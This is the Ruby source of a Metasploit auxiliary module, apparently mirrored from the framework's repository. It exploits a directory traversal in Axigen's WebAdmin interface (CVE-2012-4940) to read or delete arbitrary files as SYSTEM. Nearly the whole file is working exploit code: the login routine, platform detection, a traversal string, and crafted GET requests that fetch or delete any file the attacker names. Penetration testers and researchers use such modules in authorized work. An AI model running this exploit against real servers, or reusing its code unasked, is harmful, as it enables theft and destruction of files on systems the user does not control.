Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/axigen_file_access.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Axigen Arbitrary File Read and Delete',13'Description' => %q{14This module exploits a directory traversal vulnerability in the WebAdmin15interface of Axigen, which allows an authenticated user to read and delete16arbitrary files with SYSTEM privileges. The vulnerability is known to work on17Windows platforms. This module has been tested successfully on Axigen 8.10 over18Windows 2003 SP2.19},20'Author' => [21'Zhao Liang', # Vulnerability discovery22'juan vazquez' # Metasploit module23],24'License' => MSF_LICENSE,25'References' => [26[ 'US-CERT-VU', '586556' ],27[ 'CVE', '2012-4940' ],28[ 'OSVDB', '86802' ]29],30'Actions' => [31['Read', { 'Description' => 'Read remote file' }],32['Delete', { 'Description' => 'Delete remote file' }]33],34'DefaultAction' => 'Read',35'DisclosureDate' => '2012-10-31'36)37)3839register_options(40[41Opt::RPORT(9000),42OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]),43OptString.new('TARGETURI', [ true, 'Path to Axigen WebAdmin', '/' ]),44OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),45OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),46OptString.new('PATH', [ true, 'The file to read or delete', '\\windows\\win.ini' ])47]48)49end5051def run52print_status('Trying to login')53if login54print_good('Login Successful')55else56print_error('Login failed, review USERNAME and PASSWORD options')57return58end5960@traversal = '../' * 1061file = datastore['PATH']62@platform = get_platform6364if @platform == 'windows'65@traversal.gsub!(%r{/}, '\\')66file.gsub!(%r{/}, '\\')67else # unix68print_error('*nix platform detected, vulnerability is only known to work on Windows')69return70end7172case action.name73when 'Read'74read_file(datastore['PATH'])75when 'Delete'76delete_file(datastore['PATH'])77end78end7980def read_file(file)81print_status('Retrieving file contents...')8283res = send_request_cgi(84{85'uri' => normalize_uri(target_uri.path, 'sources', 'logging', 'page_log_file_content.hsp'),86'method' => 'GET',87'cookie' => "_hadmin=#{@session}",88'vars_get' => {89'_h' => @token,90'fileName' => "#{@traversal}#{file}"91}92}93)9495if res && (res.code == 200) && res.headers['Content-Type'] && !res.body.empty?96store_path = store_loot('axigen.webadmin.data', 'application/octet-stream', rhost, res.body, file)97print_good("File successfully retrieved and saved on #{store_path}")98else99print_error('Failed to retrieve file')100end101end102103def delete_file(file)104print_status("Deleting file #{file}")105106res = send_request_cgi(107{108'uri' => normalize_uri(target_uri.path),109'method' => 'GET',110'cookie' => "_hadmin=#{@session}",111'vars_get' => {112'_h' => @token,113'page' => 'vlf',114'action' => 'delete',115'fileName' => "#{@traversal}#{file}"116}117}118)119120if res && (res.code == 200) && res.body =~ (/View Log Files/)121print_good("File #{file} deleted")122else123print_error("Error deleting file #{file}")124end125end126127def get_platform128print_status('Retrieving platform')129130res = send_request_cgi(131{132'uri' => normalize_uri(target_uri.path),133'method' => 'GET',134'cookie' => "_hadmin=#{@session}",135'vars_get' => {136'_h' => @token137}138}139)140141if res && (res.code == 200)142if res.body =~ /Windows/143print_good('Windows platform found')144return 'windows'145elsif res.body =~ /Linux/146print_good('Linux platform found')147return 'unix'148end149end150151print_warning('Platform not found, assuming UNIX flavor')152return 'unix'153end154155def login156res = send_request_cgi(157{158'uri' => normalize_uri(target_uri.path),159'method' => 'POST',160'vars_post' => {161'username' => datastore['USERNAME'],162'password' => datastore['PASSWORD'],163'submit' => 'Login',164'action' => 'login'165}166}167)168169if res && (res.code == 303) && res.headers['Location'] =~ (/_h=([a-f0-9]*)/)170@token = ::Regexp.last_match(1)171if res.get_cookies =~ /_hadmin=([a-f0-9]*)/172@session = ::Regexp.last_match(1)173return true174end175end176177return false178end179end180181182